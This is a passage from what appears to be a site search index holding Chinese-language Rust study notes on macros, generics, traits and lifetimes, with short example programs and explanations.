{\n    // \u6a21\u5f0f\u5339\u914d\n    ($name:expr) =&gt; {\n        // \u5b8f\u7684\u5c55\u5f00\n        println!(\"Hello, {}!\", $name);\n    };\n}\n</code></pre> - <code>macro_rules! greet</code> \u662f\u5b8f\u5b9a\u4e49\u7684\u8bed\u6cd5\u3002\u5728 Rust \u4e2d\uff0c\u5b8f\u662f\u4e00\u79cd\u7528\u4e8e\u751f\u6210\u4ee3\u7801\u7684\u673a\u5236\u3002 - <code>greet</code> \u662f\u5b8f\u7684\u540d\u5b57\u3002 - <code>($name:expr)</code> \u662f\u5b8f\u7684\u6a21\u5f0f\u5339\u914d\u90e8\u5206\u3002\u8fd9\u91cc\u5339\u914d\u4e00\u4e2a\u8868\u8fbe\u5f0f\uff08<code>expr</code>\uff09\uff0c\u5e76\u5c06\u5176\u7ed1\u5b9a\u5230 <code>$name</code> \u4e0a\u3002 - <code>=&gt; { ... }</code> \u662f\u5b8f\u7684\u5c55\u5f00\u90e8\u5206\u3002\u5f53\u5b8f\u88ab\u8c03\u7528\u65f6\uff0c\u5339\u914d\u5230\u7684\u8868\u8fbe\u5f0f\u4f1a\u88ab\u63d2\u5165\u5230\u8fd9\u4e2a\u4f4d\u7f6e\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u5b83\u4f1a\u5c55\u5f00\u6210\u4e00\u6761 <code>println!</code> \u8bed\u53e5\uff0c\u8f93\u51fa\u4e00\u4e2a\u5e26\u6709\u53d8\u91cf <code>$name</code> \u7684\u5b57\u7b26\u4e32\u3002</p> <ol> <li>\u4f7f\u7528\u5b8f <pre><code>fn main() {\n    // \u8c03\u7528\u5b8f\n    greet!(\"World\");\n}\n</code></pre></li> <li><code>fn main()</code> \u662f\u7a0b\u5e8f\u7684\u5165\u53e3\u51fd\u6570\u3002</li> <li><code>greet!(\"World\");</code> \u662f\u5bf9\u5b8f <code>greet</code> \u7684\u8c03\u7528\u3002\u5728\u8c03\u7528\u65f6\uff0c<code>\"World\"</code> \u8fd9\u4e2a\u5b57\u7b26\u4e32\u5b57\u9762\u91cf\u4f1a\u88ab\u4f20\u9012\u7ed9\u5b8f\u4e2d\u7684 <code>$name</code>\u3002</li> </ol> <p>\u5728\u7f16\u8bd1\u65f6\uff0c\u5b8f\u4f1a\u88ab\u5c55\u5f00\u6210\u5e38\u89c4\u4ee3\u7801\u3002\u5bf9\u4e8e\u8fd9\u6bb5\u4ee3\u7801\u6765\u8bf4\uff0c<code>greet!(\"World\");</code> \u4f1a\u5c55\u5f00\u6210\uff1a <pre><code>println!(\"Hello, {}!\", \"World\");\n</code></pre> \u6700\u7ec8\u8fd0\u884c\u65f6\u4f1a\u6253\u5370\u51fa\uff1a <pre><code>Hello, World!\n</code></pre></p> <p>\u4e0b\u9762\u662f\u4e00\u4e2a\u66f4\u590d\u6742\u7684\u4f8b\u5b50</p> <p>Example</p> <pre><code>    // \u5b8f\u7684\u5b9a\u4e49\nmacro_rules! vec {\n    // \u57fa\u672c\u60c5\u51b5\uff0c\u7a7a\u7684\u60c5\u51b5\n    () =&gt; {\n        Vec::new()\n    };\n\n    // \u9012\u5f52\u60c5\u51b5\uff0c\u5e26\u6709\u5143\u7d20\u7684\u60c5\u51b5\n    ($($element:expr),+ $(,)?) =&gt; {\n        {\n            let mut temp_vec = Vec::new();\n            $(\n                temp_vec.push($element);\n            )+\n            temp_vec\n        }\n    };\n}\n\nfn main() {\n    // \u8c03\u7528\u5b8f\n    let my_vec = vec![1, 2, 3];\n    println!(\"{:?}\", my_vec); // \u8f93\u51fa: [1, 2, 3]\n\n    let empty_vec = vec![];\n    println!(\"{:?}\", empty_vec); // \u8f93\u51fa: []\n}\n</code></pre> <ol> <li>\u5b9a\u4e49\u5b8f (<code>macro_rules! vec</code>) <pre><code>macro_rules! vec {\n    // \u57fa\u672c\u60c5\u51b5\uff0c\u7a7a\u7684\u60c5\u51b5\n    () =&gt; {\n        Vec::new()\n    };\n\n    // \u9012\u5f52\u60c5\u51b5\uff0c\u5e26\u6709\u5143\u7d20\u7684\u60c5\u51b5\n    ($($element:expr),+ $(,)?) =&gt; {\n        {\n            let mut temp_vec = Vec::new();\n            $(\n                temp_vec.push($element);\n            )+\n            temp_vec\n        }\n    };\n}\n</code></pre> a. \u57fa\u672c\u60c5\u51b5\uff1a\u7a7a\u7684 <code>Vec</code> <pre><code>() =&gt; {\n    Vec::new()\n};\n</code></pre></li> <li>\u5f53\u5b8f\u88ab\u8c03\u7528\u65f6\uff0c\u5982\u679c\u6ca1\u6709\u4f20\u9012\u4efb\u4f55\u53c2\u6570\uff08\u5373 <code>()</code>\uff09\uff0c\u8fd9\u4e2a\u6a21\u5f0f\u4f1a\u5339\u914d\u3002</li> <li>\u5b8f\u5c06\u5c55\u5f00\u4e3a <code>Vec::new()</code>\uff0c\u5b83\u521b\u5efa\u5e76\u8fd4\u56de\u4e00\u4e2a\u7a7a\u7684 <code>Vec</code>\u3002</li> </ol> <p>b. \u9012\u5f52\u60c5\u51b5\uff1a\u5e26\u6709\u5143\u7d20\u7684 <code>Vec</code> <pre><code>($($element:expr),+ $(,)?) =&gt; {\n    {\n        let mut temp_vec = Vec::new();\n        $(\n            temp_vec.push($element);\n        )+\n        temp_vec\n    }\n};\n</code></pre></p> <ul> <li>\u8fd9\u4e2a\u6a21\u5f0f\u5339\u914d\u4e00\u4e2a\u6216\u591a\u4e2a\u8868\u8fbe\u5f0f\uff0c\u8868\u8fbe\u5f0f\u4e4b\u95f4\u7528\u9017\u53f7\u5206\u9694\u3002\u6a21\u5f0f\u4e2d\u4f7f\u7528\u4e86 <code>$($element:expr),+</code>\uff0c\u8868\u793a\u5339\u914d\u4e00\u4e2a\u6216\u591a\u4e2a\u8868\u8fbe\u5f0f\u3002</li> <li><code>$(,)?</code> \u662f\u4e00\u4e2a\u53ef\u9009\u7684\u9017\u53f7\uff0c\u7528\u4e8e\u5141\u8bb8\u5728\u53c2\u6570\u5217\u8868\u7684\u672b\u5c3e\u52a0\u4e00\u4e2a\u9017\u53f7\u3002</li> <li>\u8be5\u6a21\u5f0f\u7684\u5c55\u5f00\u90e8\u5206\u662f\u4e00\u4e2a\u4ee3\u7801\u5757\uff1a</li> <li>\u521b\u5efa\u4e00\u4e2a\u7a7a\u7684 <code>Vec</code>\uff0c\u547d\u540d\u4e3a <code>temp_vec</code>\u3002</li> <li>\u4f7f\u7528 <code>$(...)+</code> \u5faa\u73af\uff0c\u5c06\u6bcf\u4e2a\u5339\u914d\u5230\u7684\u8868\u8fbe\u5f0f\uff08<code>$element</code>\uff09\u63a8\u5165\u5230 <code>temp_vec</code> \u4e2d\u3002</li> <li> <p>\u6700\u7ec8\u8fd4\u56de\u8fd9\u4e2a\u586b\u5145\u597d\u7684 <code>temp_vec</code>\u3002</p> </li> <li> <p>\u4f7f\u7528\u5b8f <pre><code>fn main() {\n    // \u8c03\u7528\u5b8f\n    let my_vec = vec![1, 2, 3];\n    println!(\"{:?}\", my_vec); // \u8f93\u51fa: [1, 2, 3]\n\n    let empty_vec = vec![];\n    println!(\"{:?}\", empty_vec); // \u8f93\u51fa: []\n}\n</code></pre></p> </li> <li> <p>\u5728 <code>main</code> \u51fd\u6570\u4e2d\uff0c\u5b8f <code>vec</code> \u88ab\u8c03\u7528\u4e86\u4e24\u6b21\u3002</p> </li> </ul> <p>a. \u521b\u5efa\u4e00\u4e2a\u5e26\u6709\u5143\u7d20\u7684 <code>Vec</code> <pre><code>let my_vec = vec![1, 2, 3];\n</code></pre></p> <ul> <li>\u8fd9\u91cc\u7684\u5b8f\u8c03\u7528\u4f1a\u5339\u914d\u7b2c\u4e8c\u79cd\u60c5\u51b5\uff08\u9012\u5f52\u60c5\u51b5\uff09\u3002</li> <li> <p>\u5b8f\u5c55\u5f00\u540e\u76f8\u5f53\u4e8e\u4ee5\u4e0b\u4ee3\u7801\uff1a   <pre><code>let mut temp_vec = Vec::new();\ntemp_vec.push(1);\ntemp_vec.push(2);\ntemp_vec.push(3);\nlet my_vec = temp_vec;\n</code></pre></p> </li> <li> <p>\u6253\u5370\u65f6\uff0c\u8f93\u51fa <code>[1, 2, 3]</code>\u3002</p> </li> </ul> <p>b. \u521b\u5efa\u4e00\u4e2a\u7a7a\u7684 <code>Vec</code> <pre><code>let empty_vec = vec![];\n</code></pre></p> <ul> <li>\u8fd9\u91cc\u7684\u5b8f\u8c03\u7528\u4f1a\u5339\u914d\u7b2c\u4e00\u79cd\u60c5\u51b5\uff08\u7a7a\u7684\u60c5\u51b5\uff09\u3002</li> <li>\u5b8f\u5c55\u5f00\u540e\u76f8\u5f53\u4e8e <code>let empty_vec = Vec::new();</code>\u3002</li> <li>\u6253\u5370\u65f6\uff0c\u8f93\u51fa <code>[]</code>\u3002</li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#rust_3","title":"Rust \u6cdb\u578b\u4e0e\u7279\u6027","text":"<p>\u6cdb\u578b\u662f\u4e00\u4e2a\u7f16\u7a0b\u8bed\u8a00\u4e0d\u53ef\u6216\u7f3a\u7684\u673a\u5236</p> <p>C++\u8bed\u8a00\u4e2d\u7528\u201c\u6a21\u677f\u201d\u6765\u5b9e\u73b0\u6cdb\u578b\uff0c\u800cC\u8bed\u8a00\u4e2d\u5374\u6ca1\u6709\u6cdb\u578b\u7684\u673a\u5236\uff0c\u8fd9\u5bfc\u81f4\u4f7f\u7528C\u8bed\u8a00\u6765\u6784\u5efa\u7c7b\u578b\u590d\u6742\u7684\u5de5\u7a0b\u8f83\u4e3a\u56f0\u96be\u3002</p> <p>\u6cdb\u578b\u673a\u5236\u662f\u7f16\u7a0b\u8bed\u8a00\u7528\u4e8e\u8868\u8fbe\u7c7b\u578b\u62bd\u8c61\u7684\u673a\u5236\uff0c\u4e00\u822c\u7528\u4e8e\u529f\u80fd\u786e\u5b9a\uff0c\u6570\u636e\u7c7b\u578b\u5f85\u5b9a\u7684\u7c7b\uff0c\u4f8b\u5982\u94fe\u8868\uff0c\u6620\u5c04\u8868\u7b49\u7b49\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_45","title":"\u5728\u51fd\u6570\u4e2d\u5b9a\u4e49\u6cdb\u578b","text":"<pre><code>fn max(array: &amp;[i32]) -&gt; i32 {\n    let mut max_index = 0;\n    let mut i = 1;\n    while i &lt; array.len() {\n        if array[i] &gt; array[max_index] {\n            max_index = i;\n        }\n        i += 1;\n    }\n    array[max_index]\n}\n\nfn main() {\n    let a = [2, 4, 6, 3, 1];\n    println!(\"max = {}\", max(&amp;a));\n}\n</code></pre> <p>\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u53d6\u6700\u5927\u503c\u7a0b\u5e8f\uff0c\u53ef\u4ee5\u7528\u4e8e\u5904\u7406 i32 \u6570\u5b57\u7c7b\u578b\u7684\u6570\u636e\uff0c\u4f46\u65e0\u6cd5\u7528\u4e8e f64 \u7c7b\u578b\u7684\u6570\u636e\u3002\u901a\u8fc7\u4f7f\u7528\u6cdb\u578b\u6211\u4eec\u53ef\u4ee5\u4f7f\u8fd9\u4e2a\u51fd\u6570\u53ef\u4ee5\u5229\u7528\u5230\u5404\u4e2a\u7c7b\u578b\u4e2d\u53bb\u3002\u4f46\u5b9e\u9645\u4e0a\u5e76\u4e0d\u662f\u6240\u6709\u7684\u6570\u636e\u7c7b\u578b\u90fd\u53ef\u4ee5\u6bd4\u5927\u5c0f\uff0c\u6240\u4ee5\u63a5\u4e0b\u6765\u4e00\u6bb5\u4ee3\u7801\u5e76\u4e0d\u662f\u7528\u6765\u8fd0\u884c\u7684\uff0c\u800c\u662f\u7528\u6765\u63cf\u8ff0\u4e00\u4e0b\u51fd\u6570\u6cdb\u578b\u7684\u8bed\u6cd5\u683c\u5f0f\uff1a</p> <pre><code>fn max&lt;T&gt;(array: &amp;[T]) -&gt; T {\n    let mut max_index = 0;\n    let mut i = 1;\n    while i &lt; array.len() {\n        if array[i] &gt; array[max_index] {\n            max_index = i;\n        }\n        i += 1;\n    }\n    array[max_index]\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_46","title":"\u7ed3\u6784\u4f53\u4e0e\u679a\u4e3e\u7c7b\u4e2d\u7684\u6cdb\u578b","text":"<p>Rust \u4e2d\u7684\u7ed3\u6784\u4f53\u548c\u679a\u4e3e\u7c7b\u90fd\u53ef\u4ee5\u5b9e\u73b0\u6cdb\u578b\u673a\u5236</p> <pre><code>struct Point&lt;T&gt; {\n    x: T,\n    y: T\n}\n</code></pre> <p>\u8fd9\u662f\u4e00\u4e2a\u70b9\u5750\u6807\u7ed3\u6784\u4f53\uff0cT \u8868\u793a\u63cf\u8ff0\u70b9\u5750\u6807\u7684\u6570\u5b57\u7c7b\u578b\u3002\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u4f7f\u7528\uff1a</p> <pre><code>let p1 = Point {x: 1, y: 2};\nlet p2 = Point {x: 1.0, y: 2.0};\n</code></pre> <p>\u4f7f\u7528\u65f6\u5e76\u6ca1\u6709\u58f0\u660e\u7c7b\u578b\uff0c\u8fd9\u91cc\u4f7f\u7528\u7684\u662f\u81ea\u52a8\u7c7b\u578b\u673a\u5236\uff0c\u4f46\u4e0d\u5141\u8bb8\u51fa\u73b0\u7c7b\u578b\u4e0d\u5339\u914d\u7684\u60c5\u51b5\u5982\u4e0b\uff1a</p> <pre><code>let p = Point {x: 1, y: 2.0};\n</code></pre> <p>x \u4e0e 1 \u7ed1\u5b9a\u65f6\u5c31\u5df2\u7ecf\u5c06 T \u8bbe\u5b9a\u4e3a i32\uff0c\u6240\u4ee5\u4e0d\u5141\u8bb8\u518d\u51fa\u73b0 f64 \u7684\u7c7b\u578b\u3002\u5982\u679c\u6211\u4eec\u60f3\u8ba9 x \u4e0e y \u7528\u4e0d\u540c\u7684\u6570\u636e\u7c7b\u578b\u8868\u793a\uff0c\u53ef\u4ee5\u4f7f\u7528\u4e24\u4e2a\u6cdb\u578b\u6807\u8bc6\u7b26\uff1a <pre><code>struct Point&lt;T1, T2&gt; {\n    x: T1,\n    y: T2\n}\n</code></pre></p> <p>\u7ed3\u6784\u4f53\u4e0e\u679a\u4e3e\u7c7b\u90fd\u53ef\u4ee5\u5b9a\u4e49\u65b9\u6cd5\uff0c\u90a3\u4e48\u65b9\u6cd5\u4e5f\u5e94\u8be5\u5b9e\u73b0\u6cdb\u578b\u7684\u673a\u5236\uff0c\u5426\u5219\u6cdb\u578b\u7684\u7c7b\u5c06\u65e0\u6cd5\u88ab\u6709\u6548\u7684\u65b9\u6cd5\u64cd\u4f5c\u3002</p> <pre><code>struct Point&lt;T&gt; {\n    x: T,\n    y: T,\n}\n\nimpl&lt;T&gt; Point&lt;T&gt; {\n    fn x(&amp;self) -&gt; &amp;T {\n        &amp;self.x\n    }\n}\n\nfn main() {\n    let p = Point { x: 1, y: 2 };\n    println!(\"p.x = {}\", p.x());\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_47","title":"\u7279\u6027","text":"<p>\u7279\u6027\uff08trait\uff09\u6982\u5ff5\u63a5\u8fd1\u4e8e Java \u4e2d\u7684\u63a5\u53e3\uff08Interface\uff09\uff0c\u4f46\u4e24\u8005\u4e0d\u5b8c\u5168\u76f8\u540c\u3002\u7279\u6027\u4e0e\u63a5\u53e3\u76f8\u540c\u7684\u5730\u65b9\u5728\u4e8e\u5b83\u4eec\u90fd\u662f\u4e00\u79cd\u884c\u4e3a\u89c4\u8303\uff0c\u53ef\u4ee5\u7528\u4e8e\u6807\u8bc6\u54ea\u4e9b\u7c7b\u6709\u54ea\u4e9b\u65b9\u6cd5\u3002</p> <p>\u7279\u6027\u5728 Rust \u4e2d\u7528 trait \u8868\u793a\uff1a</p> <pre><code>trait Descriptive {\n    fn describe(&amp;self) -&gt; String;\n}\n</code></pre> <p>Descriptive \u89c4\u5b9a\u4e86\u5b9e\u73b0\u8005\u5fc5\u9700\u6709 <code>describe(&amp;self) -&gt; String</code> \u65b9\u6cd5\u3002</p> <p>\u6211\u4eec\u7528\u5b83\u5b9e\u73b0\u4e00\u4e2a\u7ed3\u6784\u4f53\uff1a</p> <pre><code>struct Person {\n    name: String,\n    age: u8\n}\n\nimpl Descriptive for Person {\n    fn describe(&amp;self) -&gt; String {\n        format!(\"{} {}\", self.name, self.age)\n    }\n}\n</code></pre> <p>\u683c\u5f0f\u4e3a<code>impl &lt;\u7279\u6027\u540d&gt; for &lt;\u6240\u5b9e\u73b0\u7684\u7c7b\u578b\u540d&gt;</code></p> <p>Rust \u540c\u4e00\u4e2a\u7c7b\u53ef\u4ee5\u5b9e\u73b0\u591a\u4e2a\u7279\u6027\uff0c\u6bcf\u4e2a impl \u5757\u53ea\u80fd\u5b9e\u73b0\u4e00\u4e2a\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_48","title":"\u9ed8\u8ba4\u7279\u6027","text":"<p>\u8fd9\u662f\u7279\u6027\u4e0e\u63a5\u53e3\u7684\u4e0d\u540c\u70b9\uff1a\u63a5\u53e3\u53ea\u80fd\u89c4\u8303\u65b9\u6cd5\u800c\u4e0d\u80fd\u5b9a\u4e49\u65b9\u6cd5\uff0c\u4f46\u7279\u6027\u53ef\u4ee5\u5b9a\u4e49\u65b9\u6cd5\u4f5c\u4e3a\u9ed8\u8ba4\u65b9\u6cd5\uff0c\u56e0\u4e3a\u662f\"\u9ed8\u8ba4\"\uff0c\u6240\u4ee5\u5bf9\u8c61\u65e2\u53ef\u4ee5\u91cd\u65b0\u5b9a\u4e49\u65b9\u6cd5\uff0c\u4e5f\u53ef\u4ee5\u4e0d\u91cd\u65b0\u5b9a\u4e49\u65b9\u6cd5\u4f7f\u7528\u9ed8\u8ba4\u7684\u65b9\u6cd5\uff1a</p> <pre><code>trait Descriptive {\n    fn describe(&amp;self) -&gt; String {\n        String::from(\"[Object]\")\n    }\n}\n\nstruct Person {\n    name: String,\n    age: u8\n}\n\nimpl Descriptive for Person {\n    fn describe(&amp;self) -&gt; String {\n        format!(\"{} {}\", self.name, self.age)\n    }\n}\n\nfn main() {\n    let cali = Person {\n        name: String::from(\"Cali\"),\n        age: 24\n    };\n    println!(\"{}\", cali.describe());\n}\n</code></pre> <p>\u8fd0\u884c\u7ed3\u679c\u4e3a</p> <p><code>Cali 24</code></p> <p>\u5982\u679c\u6211\u4eec\u5c06 impl Descriptive for Person \u5757\u4e2d\u7684\u5185\u5bb9\u53bb\u6389\uff0c\u90a3\u4e48\u8fd0\u884c\u7ed3\u679c\u5c31\u662f\uff1a</p> <p><code>[Object]</code></p>"},{"location":"NOTE/CS/RUST/RUST/#_49","title":"\u7279\u6027\u505a\u53c2\u6570","text":"<p>\u5f88\u591a\u60c5\u51b5\u4e0b\u6211\u4eec\u9700\u8981\u4f20\u9012\u4e00\u4e2a\u51fd\u6570\u505a\u53c2\u6570\uff0c\u4f8b\u5982\u56de\u8c03\u51fd\u6570\u3001\u8bbe\u7f6e\u6309\u94ae\u4e8b\u4ef6\u7b49\u3002\u5728 Java \u4e2d\u51fd\u6570\u5fc5\u987b\u4ee5\u63a5\u53e3\u5b9e\u73b0\u7684\u7c7b\u5b9e\u4f8b\u6765\u4f20\u9012\uff0c\u5728 Rust \u4e2d\u53ef\u4ee5\u901a\u8fc7\u4f20\u9012\u7279\u6027\u53c2\u6570\u6765\u5b9e\u73b0\uff1a</p> <pre><code>fn output(object: impl Descriptive) {\n    println!(\"{}\", object.describe());\n}\n</code></pre> <p>\u4efb\u4f55\u5b9e\u73b0\u4e86 Descriptive \u7279\u6027\u7684\u5bf9\u8c61\u90fd\u53ef\u4ee5\u4f5c\u4e3a\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\uff0c\u8fd9\u4e2a\u51fd\u6570\u6ca1\u5fc5\u8981\u4e86\u89e3\u4f20\u5165\u5bf9\u8c61\u6709\u6ca1\u6709\u5176\u4ed6\u5c5e\u6027\u6216\u65b9\u6cd5\uff0c\u53ea\u9700\u8981\u4e86\u89e3\u5b83\u4e00\u5b9a\u6709 Descriptive \u7279\u6027\u89c4\u8303\u7684\u65b9\u6cd5\u5c31\u53ef\u4ee5\u4e86\u3002\u5f53\u7136\uff0c\u6b64\u51fd\u6570\u5185\u4e5f\u65e0\u6cd5\u4f7f\u7528\u5176\u4ed6\u7684\u5c5e\u6027\u4e0e\u65b9\u6cd5\u3002</p> <p>\u7279\u6027\u53c2\u6570\u8fd8\u53ef\u4ee5\u7528\u8fd9\u79cd\u7b49\u6548\u8bed\u6cd5\u5b9e\u73b0\uff1a <pre><code>fn output&lt;T: Descriptive&gt;(object: T) {\n    println!(\"{}\", object.describe());\n}\n</code></pre> \u8fd9\u662f\u4e00\u79cd\u98ce\u683c\u7c7b\u4f3c\u6cdb\u578b\u7684\u8bed\u6cd5\u7cd6\uff0c\u8fd9\u79cd\u8bed\u6cd5\u7cd6\u5728\u6709\u591a\u4e2a\u53c2\u6570\u7c7b\u578b\u5747\u662f\u7279\u6027\u7684\u60c5\u51b5\u4e0b\u5341\u5206\u5b9e\u7528\uff1a</p> <p><pre><code>fn output_two&lt;T: Descriptive&gt;(arg1: T, arg2: T) {\n    println!(\"{}\", arg1.describe());\n    println!(\"{}\", arg2.describe());\n}\n</code></pre> \u7279\u6027\u4f5c\u7c7b\u578b\u8868\u793a\u65f6\u5982\u679c\u6d89\u53ca\u591a\u4e2a\u7279\u6027\uff0c\u53ef\u4ee5\u7528 + \u7b26\u53f7\u8868\u793a\uff0c\u4f8b\u5982\uff1a <pre><code>fn notify(item: impl Summary + Display)\nfn notify&lt;T: Summary + Display&gt;(item: T)\n</code></pre></p> <p>\u6ce8\u610f\uff1a\u4ec5\u7528\u4e8e\u8868\u793a\u7c7b\u578b\u7684\u65f6\u5019\uff0c\u5e76\u4e0d\u610f\u5473\u7740\u53ef\u4ee5\u5728 impl \u5757\u4e2d\u4f7f\u7528\u3002</p> <p>\u590d\u6742\u7684\u5b9e\u73b0\u5173\u7cfb\u53ef\u4ee5\u4f7f\u7528 where \u5173\u952e\u5b57\u7b80\u5316\uff0c\u4f8b\u5982\uff1a <pre><code>fn some_function&lt;T: Display + Clone, U: Clone + Debug&gt;(t: T, u: U)\n</code></pre> \u53ef\u4ee5\u7b80\u5316\u6210\uff1a <pre><code>fn some_function&lt;T, U&gt;(t: T, u: U) -&gt; i32\n    where T: Display + Clone,\n          U: Clone + Debug\n</code></pre></p> <p>Example</p> <p>trait Comparable { fn compare(&amp;self, object: &amp;Self) -&gt; i8; }</p> <p>fn max(array: &amp;[T]) -&gt; &amp;T {     let mut max_index = 0;     let mut i = 1;     while i &lt; array.len() {         if array[i].compare(&amp;array[max_index]) &gt; 0 {             max_index = i;         }         i += 1;     }     &amp;array[max_index] } <p>impl Comparable for f64 {     fn compare(&amp;self, object: &amp;f64) -&gt; i8 {         if &amp;self &gt; &amp;object { 1 }         else if &amp;self == &amp;object { 0 }         else { -1 }     } }</p> <p>fn main() {     let arr = [1.0, 3.0, 5.0, 4.0, 2.0];     println!(\"maximum of arr is {}\", max(&amp;arr)); }</p>"},{"location":"NOTE/CS/RUST/RUST/#_50","title":"\u7279\u6027\u505a\u8fd4\u56de\u503c","text":"<p>\u7279\u6027\u505a\u8fd4\u56de\u503c\u683c\u5f0f\u5982\u4e0b\uff1a <pre><code>fn person() -&gt; impl Descriptive {\n    Person {\n        name: String::from(\"Cali\"),\n        age: 24\n    }\n}\n</code></pre></p> <p>\u4f46\u662f\u6709\u4e00\u70b9\uff0c\u7279\u6027\u505a\u8fd4\u56de\u503c\u53ea\u63a5\u53d7\u5b9e\u73b0\u4e86\u8be5\u7279\u6027\u7684\u5bf9\u8c61\u505a\u8fd4\u56de\u503c\u4e14\u5728\u540c\u4e00\u4e2a\u51fd\u6570\u4e2d\u6240\u6709\u53ef\u80fd\u7684\u8fd4\u56de\u503c\u7c7b\u578b\u5fc5\u987b\u5b8c\u5168\u4e00\u6837\u3002\u6bd4\u5982\u7ed3\u6784\u4f53 A \u4e0e\u7ed3\u6784\u4f53 B \u90fd\u5b9e\u73b0\u4e86\u7279\u6027 Trait\uff0c\u4e0b\u9762\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u9519\u8bef\u7684\uff1a</p> <pre><code>fn some_function(bool bl) -&gt; impl Descriptive {\n    if bl {\n        return A {};\n    } else {\n        return B {};\n    }\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_51","title":"\u751f\u547d\u5468\u671f","text":"<p>Rust \u751f\u547d\u5468\u671f\u673a\u5236\u662f\u4e0e\u6240\u6709\u6743\u673a\u5236\u540c\u7b49\u91cd\u8981\u7684\u8d44\u6e90\u7ba1\u7406\u673a\u5236\u3002</p> <p>\u4e4b\u6240\u4ee5\u5f15\u5165\u8fd9\u4e2a\u6982\u5ff5\u4e3b\u8981\u662f\u5e94\u5bf9\u590d\u6742\u7c7b\u578b\u7cfb\u7edf\u4e2d\u8d44\u6e90\u7ba1\u7406\u7684\u95ee\u9898\u3002</p> <p>\u5f15\u7528\u662f\u5bf9\u5f85\u590d\u6742\u7c7b\u578b\u65f6\u5fc5\u4e0d\u53ef\u5c11\u7684\u673a\u5236\uff0c\u6bd5\u7adf\u590d\u6742\u7c7b\u578b\u7684\u6570\u636e\u4e0d\u80fd\u88ab\u5904\u7406\u5668\u8f7b\u6613\u5730\u590d\u5236\u548c\u8ba1\u7b97\u3002</p> <p>\u4f46\u5f15\u7528\u5f80\u5f80\u5bfc\u81f4\u6781\u5176\u590d\u6742\u7684\u8d44\u6e90\u7ba1\u7406\u95ee\u9898\uff0c\u9996\u5148\u8ba4\u8bc6\u4e00\u4e0b\u5782\u60ac\u5f15\u7528\uff1a</p> <pre><code>{\n    let r;\n\n    {\n        let x = 5;\n        r = &amp;x;\n    }//\u7ed3\u675f\u4e4b\u540e\uff0cr\u6240\u5f15\u7528\u7684\u503c\u5df2\u7ecf\u5728\u4f7f\u7528\u4e4b\u524d\u88ab\u91ca\u653e\n\n    println!(\"r: {}\", r);\n}\n</code></pre> <p>\u5f15\u7528\u5fc5\u987b\u5728\u503c\u7684\u751f\u547d\u5468\u671f\u4ee5\u5185\u624d\u6709\u6548\u3002</p> <p>\u4e00\u76f4\u4ee5\u6765\u6211\u4eec\u90fd\u5728\u7ed3\u6784\u4f53\u4e2d\u4f7f\u7528 String \u800c\u4e0d\u7528 &amp;str\uff0c\u6211\u4eec\u7528\u4e00\u4e2a\u6848\u4f8b\u89e3\u91ca\u539f\u56e0\uff1a</p> <pre><code>fn longer(s1: &amp;str, s2: &amp;str) -&gt; &amp;str {\n    if s2.len() &gt; s1.len() {\n        s2\n    } else {\n        s1\n    }\n}\n</code></pre> <p>Example</p> <p>fn main() { let r; {     let s1 = \"rust\";     let s2 = \"ecmascript\";     r = longer(s1, s2); } println!(\"{} is longer\", r);</p> <p>}    \u8fd9\u6bb5\u7a0b\u5e8f\u4e2d\u867d\u7136\u7ecf\u8fc7\u4e86\u6bd4\u8f83\uff0c\u4f46 r \u88ab\u4f7f\u7528\u7684\u65f6\u5019\u6e90\u503c s1 \u548c s2 \u90fd\u5df2\u7ecf\u5931\u6548\u4e86\u3002\u5f53\u7136\u6211\u4eec\u53ef\u4ee5\u628a r \u7684\u4f7f\u7528\u79fb\u5230 s1 \u548c s2 \u7684\u751f\u547d\u5468\u671f\u8303\u56f4\u4ee5\u5185\u9632\u6b62\u8fd9\u79cd\u9519\u8bef\u7684\u53d1\u751f\uff0c\u4f46\u5bf9\u4e8e\u51fd\u6570\u6765\u8bf4\uff0c\u5b83\u5e76\u4e0d\u80fd\u77e5\u9053\u81ea\u5df1\u4ee5\u5916\u7684\u5730\u65b9\u662f\u4ec0\u4e48\u60c5\u51b5\uff0c\u5b83\u4e3a\u4e86\u4fdd\u969c\u81ea\u5df1\u4f20\u9012\u51fa\u53bb\u7684\u503c\u662f\u6b63\u5e38\u7684\uff0c\u5fc5\u9009\u6240\u6709\u6743\u539f\u5219\u6d88\u9664\u4e00\u5207\u5371\u9669\uff0c\u6240\u4ee5 longer \u51fd\u6570\u5e76\u4e0d\u80fd\u901a\u8fc7\u7f16\u8bd1\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_52","title":"\u751f\u547d\u5468\u671f\u6ce8\u91ca","text":"<p>\u751f\u547d\u5468\u671f\u6ce8\u91ca\u662f\u63cf\u8ff0\u5f15\u7528\u751f\u547d\u5468\u671f\u7684\u529e\u6cd5\u3002</p> <p>\u867d\u7136\u8fd9\u6837\u5e76\u4e0d\u80fd\u591f\u6539\u53d8\u5f15\u7528\u7684\u751f\u547d\u5468\u671f\uff0c\u4f46\u53ef\u4ee5\u5728\u5408\u9002\u7684\u5730\u65b9\u58f0\u660e\u4e24\u4e2a\u5f15\u7528\u7684\u751f\u547d\u5468\u671f\u4e00\u81f4\u3002</p> <p>\u751f\u547d\u5468\u671f\u6ce8\u91ca\u7528\u5355\u5f15\u53f7\u5f00\u5934\uff0c\u8ddf\u7740\u4e00\u4e2a\u5c0f\u5199\u5b57\u6bcd\u5355\u8bcd\uff1a</p> <pre><code>&amp;i32        // \u5e38\u89c4\u5f15\u7528\n&amp;'a i32     // \u542b\u6709\u751f\u547d\u5468\u671f\u6ce8\u91ca\u7684\u5f15\u7528\n&amp;'a mut i32 // \u53ef\u53d8\u578b\u542b\u6709\u751f\u547d\u5468\u671f\u6ce8\u91ca\u7684\u5f15\u7528\n</code></pre> <pre><code>fn longer&lt;'a&gt;(s1: &amp;'a str, s2: &amp;'a str) -&gt; &amp;'a str {\n    if s2.len() &gt; s1.len() {\n        s2\n    } else {\n        s1\n    }\n}\n\nfn main() {\n    let r;\n    {\n        let s1 = \"rust\";\n        let s2 = \"ecmascript\";\n        